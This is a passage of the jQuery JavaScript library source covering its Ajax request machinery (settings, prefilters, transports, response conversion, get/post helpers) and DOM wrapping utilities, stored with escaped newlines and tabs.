) {\n\n\t\t\t\t// Prepend if requested\n\t\t\t\tif ( dataType[ 0 ] === \"+\" ) {\n\t\t\t\t\tdataType = dataType.slice( 1 ) || \"*\";\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );\n\n\t\t\t\t// Otherwise append\n\t\t\t\t} else {\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).push( func );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\n// Base inspection function for prefilters and transports\nfunction inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {\n\n\tvar inspected = {},\n\t\tseekingTransport = ( structure === transports );\n\n\tfunction inspect( dataType ) {\n\t\tvar selected;\n\t\tinspected[ dataType ] = true;\n\t\tjQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {\n\t\t\tvar dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );\n\t\t\tif ( typeof dataTypeOrTransport === \"string\" &&\n\t\t\t\t!seekingTransport && !inspected[ dataTypeOrTransport ] ) {\n\n\t\t\t\toptions.dataTypes.unshift( dataTypeOrTransport );\n\t\t\t\tinspect( dataTypeOrTransport );\n\t\t\t\treturn false;\n\t\t\t} else if ( seekingTransport ) {\n\t\t\t\treturn !( selected = dataTypeOrTransport );\n\t\t\t}\n\t\t} );\n\t\treturn selected;\n\t}\n\n\treturn inspect( options.dataTypes[ 0 ] ) || !inspected[ \"*\" ] && inspect( \"*\" );\n}\n\n// A special extend for ajax options\n// that takes \"flat\" options (not to be deep extended)\n// Fixes trac-9887\nfunction ajaxExtend( target, src ) {\n\tvar key, deep,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}\n\n/* Handles responses to an ajax request:\n * - finds the right dataType (mediates between content-type and expected dataType)\n * - returns the corresponding response\n */\nfunction ajaxHandleResponses( s, jqXHR, responses ) {\n\n\tvar ct, type, finalDataType, firstDataType,\n\t\tcontents = s.contents,\n\t\tdataTypes = s.dataTypes;\n\n\t// Remove auto dataType and get content-type in the process\n\twhile ( dataTypes[ 0 ] === \"*\" ) {\n\t\tdataTypes.shift();\n\t\tif ( ct === undefined ) {\n\t\t\tct = s.mimeType || jqXHR.getResponseHeader( \"Content-Type\" );\n\t\t}\n\t}\n\n\t// Check if we're dealing with a known content-type\n\tif ( ct ) {\n\t\tfor ( type in contents ) {\n\t\t\tif ( contents[ type ] && contents[ type ].test( ct ) ) {\n\t\t\t\tdataTypes.unshift( type );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Check to see if we have a response for the expected dataType\n\tif ( dataTypes[ 0 ] in responses ) {\n\t\tfinalDataType = dataTypes[ 0 ];\n\t} else {\n\n\t\t// Try convertible dataTypes\n\t\tfor ( type in responses ) {\n\t\t\tif ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[ 0 ] ] ) {\n\t\t\t\tfinalDataType = type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !firstDataType ) {\n\t\t\t\tfirstDataType = type;\n\t\t\t}\n\t\t}\n\n\t\t// Or just use first one\n\t\tfinalDataType = finalDataType || firstDataType;\n\t}\n\n\t// If we found a dataType\n\t// We add the dataType to the list if needed\n\t// and return the corresponding response\n\tif ( finalDataType ) {\n\t\tif ( finalDataType !== dataTypes[ 0 ] ) {\n\t\t\tdataTypes.unshift( finalDataType );\n\t\t}\n\t\treturn responses[ finalDataType ];\n\t}\n}\n\n/* Chain conversions given the request and the original response\n * Also sets the responseXXX fields on the jqXHR instance\n */\nfunction ajaxConvert( s, response, jqXHR, isSuccess ) {\n\tvar conv2, current, conv, tmp, prev,\n\t\tconverters = {},\n\n\t\t// Work with a copy of dataTypes in case we need to modify it for conversion\n\t\tdataTypes = s.dataTypes.slice();\n\n\t// Create converters map with lowercased keys\n\tif ( dataTypes[ 1 ] ) {\n\t\tfor ( conv in s.converters ) {\n\t\t\tconverters[ conv.toLowerCase() ] = s.converters[ conv ];\n\t\t}\n\t}\n\n\tcurrent = dataTypes.shift();\n\n\t// Convert to each sequential dataType\n\twhile ( current ) {\n\n\t\tif ( s.responseFields[ current ] ) {\n\t\t\tjqXHR[ s.responseFields[ current ] ] = response;\n\t\t}\n\n\t\t// Apply the dataFilter if provided\n\t\tif ( !prev && isSuccess && s.dataFilter ) {\n\t\t\tresponse = s.dataFilter( response, s.dataType );\n\t\t}\n\n\t\tprev = current;\n\t\tcurrent = dataTypes.shift();\n\n\t\tif ( current ) {\n\n\t\t\t// There's only work to do if current dataType is non-auto\n\t\t\tif ( current === \"*\" ) {\n\n\t\t\t\tcurrent = prev;\n\n\t\t\t// Convert response if prev dataType is non-auto and differs from current\n\t\t\t} else if ( prev !== \"*\" && prev !== current ) {\n\n\t\t\t\t// Seek a direct converter\n\t\t\t\tconv = converters[ prev + \" \" + current ] || converters[ \"* \" + current ];\n\n\t\t\t\t// If none found, seek a pair\n\t\t\t\tif ( !conv ) {\n\t\t\t\t\tfor ( conv2 in converters ) {\n\n\t\t\t\t\t\t// If conv2 outputs current\n\t\t\t\t\t\ttmp = conv2.split( \" \" );\n\t\t\t\t\t\tif ( tmp[ 1 ] === current ) {\n\n\t\t\t\t\t\t\t// If prev can be converted to accepted input\n\t\t\t\t\t\t\tconv = converters[ prev + \" \" + tmp[ 0 ] ] ||\n\t\t\t\t\t\t\t\tconverters[ \"* \" + tmp[ 0 ] ];\n\t\t\t\t\t\t\tif ( conv ) {\n\n\t\t\t\t\t\t\t\t// Condense equivalence converters\n\t\t\t\t\t\t\t\tif ( conv === true ) {\n\t\t\t\t\t\t\t\t\tconv = converters[ conv2 ];\n\n\t\t\t\t\t\t\t\t// Otherwise, insert the intermediate dataType\n\t\t\t\t\t\t\t\t} else if ( converters[ conv2 ] !== true ) {\n\t\t\t\t\t\t\t\t\tcurrent = tmp[ 0 ];\n\t\t\t\t\t\t\t\t\tdataTypes.unshift( tmp[ 1 ] );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Apply converter (if not an equivalence)\n\t\t\t\tif ( conv !== true ) {\n\n\t\t\t\t\t// Unless errors are allowed to bubble, catch and return them\n\t\t\t\t\tif ( conv && s.throws ) {\n\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tresponse = conv( response );\n\t\t\t\t\t\t} catch ( e ) {\n\t\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\tstate: \"parsererror\",\n\t\t\t\t\t\t\t\terror: conv ? e : \"No conversion from \" + prev + \" to \" + current\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { state: \"success\", data: response };\n}\n\njQuery.extend( {\n\n\t// Counter for holding the number of active queries\n\tactive: 0,\n\n\t// Last-Modified header cache for next request\n\tlastModified: {},\n\tetag: {},\n\n\tajaxSettings: {\n\t\turl: location.href,\n\t\ttype: \"GET\",\n\t\tisLocal: rlocalProtocol.test( location.protocol ),\n\t\tglobal: true,\n\t\tprocessData: true,\n\t\tasync: true,\n\t\tcontentType: \"application/x-www-form-urlencoded; charset=UTF-8\",\n\n\t\t/*\n\t\ttimeout: 0,\n\t\tdata: null,\n\t\tdataType: null,\n\t\tusername: null,\n\t\tpassword: null,\n\t\tcache: null,\n\t\tthrows: false,\n\t\ttraditional: false,\n\t\theaders: {},\n\t\t*/\n\n\t\taccepts: {\n\t\t\t\"*\": allTypes,\n\t\t\ttext: \"text/plain\",\n\t\t\thtml: \"text/html\",\n\t\t\txml: \"application/xml, text/xml\",\n\t\t\tjson: \"application/json, text/javascript\"\n\t\t},\n\n\t\tcontents: {\n\t\t\txml: /\\bxml\\b/,\n\t\t\thtml: /\\bhtml/,\n\t\t\tjson: /\\bjson\\b/\n\t\t},\n\n\t\tresponseFields: {\n\t\t\txml: \"responseXML\",\n\t\t\ttext: \"responseText\",\n\t\t\tjson: \"responseJSON\"\n\t\t},\n\n\t\t// Data converters\n\t\t// Keys separate source (or catchall \"*\") and destination types with a single space\n\t\tconverters: {\n\n\t\t\t// Convert anything to text\n\t\t\t\"* text\": String,\n\n\t\t\t// Text to html (true = no transformation)\n\t\t\t\"text html\": true,\n\n\t\t\t// Evaluate text as a json expression\n\t\t\t\"text json\": JSON.parse,\n\n\t\t\t// Parse text as xml\n\t\t\t\"text xml\": jQuery.parseXML\n\t\t},\n\n\t\t// For options that shouldn't be deep extended:\n\t\t// you can add your own custom options here if\n\t\t// and when you create one that shouldn't be\n\t\t// deep extended (see ajaxExtend)\n\t\tflatOptions: {\n\t\t\turl: true,\n\t\t\tcontext: true\n\t\t}\n\t},\n\n\t// Creates a full fledged settings object into target\n\t// with both ajaxSettings and settings fields.\n\t// If target is omitted, writes into ajaxSettings.\n\tajaxSetup: function( target, settings ) {\n\t\treturn settings ?\n\n\t\t\t// Building a settings object\n\t\t\tajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :\n\n\t\t\t// Extending ajaxSettings\n\t\t\tajaxExtend( jQuery.ajaxSettings, target );\n\t},\n\n\tajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n\tajaxTransport: addToPrefiltersOrTransports( transports ),\n\n\t// Main method\n\tajax: function( url, options ) {\n\n\t\t// If url is an object, simulate pre-1.5 signature\n\t\tif ( typeof url === \"object\" ) {\n\t\t\toptions = url;\n\t\t\turl = undefined;\n\t\t}\n\n\t\t// Force options to be an object\n\t\toptions = options || {};\n\n\t\tvar transport,\n\n\t\t\t// URL without anti-cache param\n\t\t\tcacheURL,\n\n\t\t\t// Response headers\n\t\t\tresponseHeadersString,\n\t\t\tresponseHeaders,\n\n\t\t\t// timeout handle\n\t\t\ttimeoutTimer,\n\n\t\t\t// Url cleanup var\n\t\t\turlAnchor,\n\n\t\t\t// Request state (becomes false upon send and true upon completion)\n\t\t\tcompleted,\n\n\t\t\t// To know if global events are to be dispatched\n\t\t\tfireGlobals,\n\n\t\t\t// Loop variable\n\t\t\ti,\n\n\t\t\t// uncached part of the url\n\t\t\tuncached,\n\n\t\t\t// Create the final options object\n\t\t\ts = jQuery.ajaxSetup( {}, options ),\n\n\t\t\t// Callbacks context\n\t\t\tcallbackContext = s.context || s,\n\n\t\t\t// Context for global events is callbackContext if it is a DOM node or jQuery collection\n\t\t\tglobalEventContext = s.context &&\n\t\t\t\t( callbackContext.nodeType || callbackContext.jquery ) ?\n\t\t\t\tjQuery( callbackContext ) :\n\t\t\t\tjQuery.event,\n\n\t\t\t// Deferreds\n\t\t\tdeferred = jQuery.Deferred(),\n\t\t\tcompleteDeferred = jQuery.Callbacks( \"once memory\" ),\n\n\t\t\t// Status-dependent callbacks\n\t\t\tstatusCode = s.statusCode || {},\n\n\t\t\t// Headers (they are sent all at once)\n\t\t\trequestHeaders = {},\n\t\t\trequestHeadersNames = {},\n\n\t\t\t// Default abort message\n\t\t\tstrAbort = \"canceled\",\n\n\t\t\t// Fake xhr\n\t\t\tjqXHR = {\n\t\t\t\treadyState: 0,\n\n\t\t\t\t// Builds headers hashtable if needed\n\t\t\t\tgetResponseHeader: function( key ) {\n\t\t\t\t\tvar match;\n\t\t\t\t\tif ( completed ) {\n\t\t\t\t\t\tif ( !responseHeaders ) {\n\t\t\t\t\t\t\tresponseHeaders = {};\n\t\t\t\t\t\t\twhile ( ( match = rheaders.exec( responseHeadersString ) ) ) {\n\t\t\t\t\t\t\t\tresponseHeaders[ match[ 1 ].toLowerCase() + \" \" ] =\n\t\t\t\t\t\t\t\t\t( responseHeaders[ match[ 1 ].toLowerCase() + \" \" ] || [] )\n\t\t\t\t\t\t\t\t\t\t.concat( match[ 2 ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tmatch = responseHeaders[ key.toLowerCase() + \" \" ];\n\t\t\t\t\t}\n\t\t\t\t\treturn match == null ? null : match.join( \", \" );\n\t\t\t\t},\n\n\t\t\t\t// Raw string\n\t\t\t\tgetAllResponseHeaders: function() {\n\t\t\t\t\treturn completed ? responseHeadersString : null;\n\t\t\t\t},\n\n\t\t\t\t// Caches the header\n\t\t\t\tsetRequestHeader: function( name, value ) {\n\t\t\t\t\tif ( completed == null ) {\n\t\t\t\t\t\tname = requestHeadersNames[ name.toLowerCase() ] =\n\t\t\t\t\t\t\trequestHeadersNames[ name.toLowerCase() ] || name;\n\t\t\t\t\t\trequestHeaders[ name ] = value;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Overrides response content-type header\n\t\t\t\toverrideMimeType: function( type ) {\n\t\t\t\t\tif ( completed == null ) {\n\t\t\t\t\t\ts.mimeType = type;\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Status-dependent callbacks\n\t\t\t\tstatusCode: function( map ) {\n\t\t\t\t\tvar code;\n\t\t\t\t\tif ( map ) {\n\t\t\t\t\t\tif ( completed ) {\n\n\t\t\t\t\t\t\t// Execute the appropriate callbacks\n\t\t\t\t\t\t\tjqXHR.always( map[ jqXHR.status ] );\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Lazy-add the new callbacks in a way that preserves old ones\n\t\t\t\t\t\t\tfor ( code in map ) {\n\t\t\t\t\t\t\t\tstatusCode[ code ] = [ statusCode[ code ], map[ code ] ];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn this;\n\t\t\t\t},\n\n\t\t\t\t// Cancel the request\n\t\t\t\tabort: function( statusText ) {\n\t\t\t\t\tvar finalText = statusText || strAbort;\n\t\t\t\t\tif ( transport ) {\n\t\t\t\t\t\ttransport.abort( finalText );\n\t\t\t\t\t}\n\t\t\t\t\tdone( 0, finalText );\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t};\n\n\t\t// Attach deferreds\n\t\tdeferred.promise( jqXHR );\n\n\t\t// Add protocol if not provided (prefilters might expect it)\n\t\t// Handle falsy url in the settings object (trac-10093: consistency with old signature)\n\t\t// We also use the url parameter if available\n\t\ts.url = ( ( url || s.url || location.href ) + \"\" )\n\t\t\t.replace( rprotocol, location.protocol + \"//\" );\n\n\t\t// Alias method option to type as per ticket trac-12004\n\t\ts.type = options.method || options.type || s.method || s.type;\n\n\t\t// Extract dataTypes list\n\t\ts.dataTypes = ( s.dataType || \"*\" ).toLowerCase().match( rnothtmlwhite ) || [ \"\" ];\n\n\t\t// A cross-domain request is in order when the origin doesn't match the current origin.\n\t\tif ( s.crossDomain == null ) {\n\t\t\turlAnchor = document.createElement( \"a\" );\n\n\t\t\t// Support: IE <=8 - 11, Edge 12 - 15\n\t\t\t// IE throws exception on accessing the href property if url is malformed,\n\t\t\t// e.g. http://example.com:80x/\n\t\t\ttry {\n\t\t\t\turlAnchor.href = s.url;\n\n\t\t\t\t// Support: IE <=8 - 11 only\n\t\t\t\t// Anchor's host property isn't correctly set when s.url is relative\n\t\t\t\turlAnchor.href = urlAnchor.href;\n\t\t\t\ts.crossDomain = originAnchor.protocol + \"//\" + originAnchor.host !==\n\t\t\t\t\turlAnchor.protocol + \"//\" + urlAnchor.host;\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// If there is an error parsing the URL, assume it is crossDomain,\n\t\t\t\t// it can be rejected by the transport if it is invalid\n\t\t\t\ts.crossDomain = true;\n\t\t\t}\n\t\t}\n\n\t\t// Convert data if not already a string\n\t\tif ( s.data && s.processData && typeof s.data !== \"string\" ) {\n\t\t\ts.data = jQuery.param( s.data, s.traditional );\n\t\t}\n\n\t\t// Apply prefilters\n\t\tinspectPrefiltersOrTransports( prefilters, s, options, jqXHR );\n\n\t\t// If request was aborted inside a prefilter, stop there\n\t\tif ( completed ) {\n\t\t\treturn jqXHR;\n\t\t}\n\n\t\t// We can fire global events as of now if asked to\n\t\t// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (trac-15118)\n\t\tfireGlobals = jQuery.event && s.global;\n\n\t\t// Watch for a new set of requests\n\t\tif ( fireGlobals && jQuery.active++ === 0 ) {\n\t\t\tjQuery.event.trigger( \"ajaxStart\" );\n\t\t}\n\n\t\t// Uppercase the type\n\t\ts.type = s.type.toUpperCase();\n\n\t\t// Determine if request has content\n\t\ts.hasContent = !rnoContent.test( s.type );\n\n\t\t// Save the URL in case we're toying with the If-Modified-Since\n\t\t// and/or If-None-Match header later on\n\t\t// Remove hash to simplify url manipulation\n\t\tcacheURL = s.url.replace( rhash, \"\" );\n\n\t\t// More options handling for requests with no content\n\t\tif ( !s.hasContent ) {\n\n\t\t\t// Remember the hash so we can put it back\n\t\t\tuncached = s.url.slice( cacheURL.length );\n\n\t\t\t// If data is available and should be processed, append data to url\n\t\t\tif ( s.data && ( s.processData || typeof s.data === \"string\" ) ) {\n\t\t\t\tcacheURL += ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + s.data;\n\n\t\t\t\t// trac-9682: remove data so that it's not used in an eventual retry\n\t\t\t\tdelete s.data;\n\t\t\t}\n\n\t\t\t// Add or update anti-cache param if needed\n\t\t\tif ( s.cache === false ) {\n\t\t\t\tcacheURL = cacheURL.replace( rantiCache, \"$1\" );\n\t\t\t\tuncached = ( rquery.test( cacheURL ) ? \"&\" : \"?\" ) + \"_=\" + ( nonce.guid++ ) +\n\t\t\t\t\tuncached;\n\t\t\t}\n\n\t\t\t// Put hash and anti-cache on the URL that will be requested (gh-1732)\n\t\t\ts.url = cacheURL + uncached;\n\n\t\t// Change '%20' to '+' if this is encoded form body content (gh-2658)\n\t\t} else if ( s.data && s.processData &&\n\t\t\t( s.contentType || \"\" ).indexOf( \"application/x-www-form-urlencoded\" ) === 0 ) {\n\t\t\ts.data = s.data.replace( r20, \"+\" );\n\t\t}\n\n\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\tif ( s.ifModified ) {\n\t\t\tif ( jQuery.lastModified[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-Modified-Since\", jQuery.lastModified[ cacheURL ] );\n\t\t\t}\n\t\t\tif ( jQuery.etag[ cacheURL ] ) {\n\t\t\t\tjqXHR.setRequestHeader( \"If-None-Match\", jQuery.etag[ cacheURL ] );\n\t\t\t}\n\t\t}\n\n\t\t// Set the correct header, if data is being sent\n\t\tif ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {\n\t\t\tjqXHR.setRequestHeader( \"Content-Type\", s.contentType );\n\t\t}\n\n\t\t// Set the Accepts header for the server, depending on the dataType\n\t\tjqXHR.setRequestHeader(\n\t\t\t\"Accept\",\n\t\t\ts.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?\n\t\t\t\ts.accepts[ s.dataTypes[ 0 ] ] +\n\t\t\t\t\t( s.dataTypes[ 0 ] !== \"*\" ? \", \" + allTypes + \"; q=0.01\" : \"\" ) :\n\t\t\t\ts.accepts[ \"*\" ]\n\t\t);\n\n\t\t// Check for headers option\n\t\tfor ( i in s.headers ) {\n\t\t\tjqXHR.setRequestHeader( i, s.headers[ i ] );\n\t\t}\n\n\t\t// Allow custom headers/mimetypes and early abort\n\t\tif ( s.beforeSend &&\n\t\t\t( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {\n\n\t\t\t// Abort if not done already and return\n\t\t\treturn jqXHR.abort();\n\t\t}\n\n\t\t// Aborting is no longer a cancellation\n\t\tstrAbort = \"abort\";\n\n\t\t// Install callbacks on deferreds\n\t\tcompleteDeferred.add( s.complete );\n\t\tjqXHR.done( s.success );\n\t\tjqXHR.fail( s.error );\n\n\t\t// Get transport\n\t\ttransport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );\n\n\t\t// If no transport, we auto-abort\n\t\tif ( !transport ) {\n\t\t\tdone( -1, \"No Transport\" );\n\t\t} else {\n\t\t\tjqXHR.readyState = 1;\n\n\t\t\t// Send global event\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxSend\", [ jqXHR, s ] );\n\t\t\t}\n\n\t\t\t// If request was aborted inside ajaxSend, stop there\n\t\t\tif ( completed ) {\n\t\t\t\treturn jqXHR;\n\t\t\t}\n\n\t\t\t// Timeout\n\t\t\tif ( s.async && s.timeout > 0 ) {\n\t\t\t\ttimeoutTimer = window.setTimeout( function() {\n\t\t\t\t\tjqXHR.abort( \"timeout\" );\n\t\t\t\t}, s.timeout );\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tcompleted = false;\n\t\t\t\ttransport.send( requestHeaders, done );\n\t\t\t} catch ( e ) {\n\n\t\t\t\t// Rethrow post-completion exceptions\n\t\t\t\tif ( completed ) {\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\n\t\t\t\t// Propagate others as results\n\t\t\t\tdone( -1, e );\n\t\t\t}\n\t\t}\n\n\t\t// Callback for when everything is done\n\t\tfunction done( status, nativeStatusText, responses, headers ) {\n\t\t\tvar isSuccess, success, error, response, modified,\n\t\t\t\tstatusText = nativeStatusText;\n\n\t\t\t// Ignore repeat invocations\n\t\t\tif ( completed ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tcompleted = true;\n\n\t\t\t// Clear timeout if it exists\n\t\t\tif ( timeoutTimer ) {\n\t\t\t\twindow.clearTimeout( timeoutTimer );\n\t\t\t}\n\n\t\t\t// Dereference transport for early garbage collection\n\t\t\t// (no matter how long the jqXHR object will be used)\n\t\t\ttransport = undefined;\n\n\t\t\t// Cache response headers\n\t\t\tresponseHeadersString = headers || \"\";\n\n\t\t\t// Set readyState\n\t\t\tjqXHR.readyState = status > 0 ? 4 : 0;\n\n\t\t\t// Determine if successful\n\t\t\tisSuccess = status >= 200 && status < 300 || status === 304;\n\n\t\t\t// Get response data\n\t\t\tif ( responses ) {\n\t\t\t\tresponse = ajaxHandleResponses( s, jqXHR, responses );\n\t\t\t}\n\n\t\t\t// Use a noop converter for missing script but not if jsonp\n\t\t\tif ( !isSuccess &&\n\t\t\t\tjQuery.inArray( \"script\", s.dataTypes ) > -1 &&\n\t\t\t\tjQuery.inArray( \"json\", s.dataTypes ) < 0 ) {\n\t\t\t\ts.converters[ \"text script\" ] = function() {};\n\t\t\t}\n\n\t\t\t// Convert no matter what (that way responseXXX fields are always set)\n\t\t\tresponse = ajaxConvert( s, response, jqXHR, isSuccess );\n\n\t\t\t// If successful, handle type chaining\n\t\t\tif ( isSuccess ) {\n\n\t\t\t\t// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.\n\t\t\t\tif ( s.ifModified ) {\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"Last-Modified\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.lastModified[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t\tmodified = jqXHR.getResponseHeader( \"etag\" );\n\t\t\t\t\tif ( modified ) {\n\t\t\t\t\t\tjQuery.etag[ cacheURL ] = modified;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// if no content\n\t\t\t\tif ( status === 204 || s.type === \"HEAD\" ) {\n\t\t\t\t\tstatusText = \"nocontent\";\n\n\t\t\t\t// if not modified\n\t\t\t\t} else if ( status === 304 ) {\n\t\t\t\t\tstatusText = \"notmodified\";\n\n\t\t\t\t// If we have data, let's convert it\n\t\t\t\t} else {\n\t\t\t\t\tstatusText = response.state;\n\t\t\t\t\tsuccess = response.data;\n\t\t\t\t\terror = response.error;\n\t\t\t\t\tisSuccess = !error;\n\t\t\t\t}\n\t\t\t} else {\n\n\t\t\t\t// Extract error from statusText and normalize for non-aborts\n\t\t\t\terror = statusText;\n\t\t\t\tif ( status || !statusText ) {\n\t\t\t\t\tstatusText = \"error\";\n\t\t\t\t\tif ( status < 0 ) {\n\t\t\t\t\t\tstatus = 0;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Set data for the fake xhr object\n\t\t\tjqXHR.status = status;\n\t\t\tjqXHR.statusText = ( nativeStatusText || statusText ) + \"\";\n\n\t\t\t// Success/Error\n\t\t\tif ( isSuccess ) {\n\t\t\t\tdeferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );\n\t\t\t} else {\n\t\t\t\tdeferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );\n\t\t\t}\n\n\t\t\t// Status-dependent callbacks\n\t\t\tjqXHR.statusCode( statusCode );\n\t\t\tstatusCode = undefined;\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( isSuccess ? \"ajaxSuccess\" : \"ajaxError\",\n\t\t\t\t\t[ jqXHR, s, isSuccess ? success : error ] );\n\t\t\t}\n\n\t\t\t// Complete\n\t\t\tcompleteDeferred.fireWith( callbackContext, [ jqXHR, statusText ] );\n\n\t\t\tif ( fireGlobals ) {\n\t\t\t\tglobalEventContext.trigger( \"ajaxComplete\", [ jqXHR, s ] );\n\n\t\t\t\t// Handle the global AJAX counter\n\t\t\t\tif ( !( --jQuery.active ) ) {\n\t\t\t\t\tjQuery.event.trigger( \"ajaxStop\" );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn jqXHR;\n\t},\n\n\tgetJSON: function( url, data, callback ) {\n\t\treturn jQuery.get( url, data, callback, \"json\" );\n\t},\n\n\tgetScript: function( url, callback ) {\n\t\treturn jQuery.get( url, undefined, callback, \"script\" );\n\t}\n} );\n\njQuery.each( [ \"get\", \"post\" ], function( _i, method ) {\n\tjQuery[ method ] = function( url, data, callback, type ) {\n\n\t\t// Shift arguments if data argument was omitted\n\t\tif ( isFunction( data ) ) {\n\t\t\ttype = type || callback;\n\t\t\tcallback = data;\n\t\t\tdata = undefined;\n\t\t}\n\n\t\t// The url can be an options object (which then must have .url)\n\t\treturn jQuery.ajax( jQuery.extend( {\n\t\t\turl: url,\n\t\t\ttype: method,\n\t\t\tdataType: type,\n\t\t\tdata: data,\n\t\t\tsuccess: callback\n\t\t}, jQuery.isPlainObject( url ) && url ) );\n\t};\n} );\n\njQuery.ajaxPrefilter( function( s ) {\n\tvar i;\n\tfor ( i in s.headers ) {\n\t\tif ( i.toLowerCase() === \"content-type\" ) {\n\t\t\ts.contentType = s.headers[ i ] || \"\";\n\t\t}\n\t}\n} );\n\n\njQuery._evalUrl = function( url, options, doc ) {\n\treturn jQuery.ajax( {\n\t\turl: url,\n\n\t\t// Make this explicit, since user can override this through ajaxSetup (trac-11264)\n\t\ttype: \"GET\",\n\t\tdataType: \"script\",\n\t\tcache: true,\n\t\tasync: false,\n\t\tglobal: false,\n\n\t\t// Only evaluate the response if it is successful (gh-4126)\n\t\t// dataFilter is not invoked for failure responses, so using it instead\n\t\t// of the default converter is kludgy but it works.\n\t\tconverters: {\n\t\t\t\"text script\": function() {}\n\t\t},\n\t\tdataFilter: function( response ) {\n\t\t\tjQuery.globalEval( response, options, doc );\n\t\t}\n\t} );\n};\n\n\njQuery.fn.extend( {\n\twrapAll: function( html ) {\n\t\tvar wrap;\n\n\t\tif ( this[ 0 ] ) {\n\t\t\tif ( isFunction( html ) ) {\n\t\t\t\thtml = html.call( this[ 0 ] );\n\t\t\t}\n\n\t\t\t// The elements to wrap the target around\n\t\t\twrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true );\n\n\t\t\tif ( this[ 0 ].parentNode ) {\n\t\t\t\twrap.insertBefore( this[ 0 ] );\n\t\t\t}\n\n\t\t\twrap.map( function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstElementChild ) {\n\t\t\t\t\telem = elem.firstElementChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t} ).append( this );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( isFunction( html ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).wrapInner( html.call( this, i ) );\n\t\t\t} );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar self = jQuery( this ),\n\t\t\t\tcontents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t} );\n\t},\n\n\twrap: function( html ) {\n\t\tvar htmlIsFunction = isFunction( html );\n\n\t\treturn this.each( function( i ) {\n\t\t\tjQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html );\n\t\t} );\n\t},\n\n\tunwrap: function( selector ) {\n\t\tthis.parent( selector ).not( \"body\" ).each( function() {\n\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t} );\n\t\treturn this;\n\t}\n} );\n\n\njQuery.expr.pseudos.hidden = function( elem ) {\n\treturn !jQuery.expr.pseudos.visible( elem );\n};\njQuery.expr.pseudos.visible = function( elem ) {\n\treturn !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );\n};\n\n\n\n\njQuery.ajaxSettings.xhr = function() {\n\ttry {\n\t\treturn new window.XMLHttpRequest();\n\t} catch ( e ) {}\n};\n\nvar xhrSuccessStatus = {\n\n\t\t// File protocol always yields status code 0, assume 200\n\t\t0: 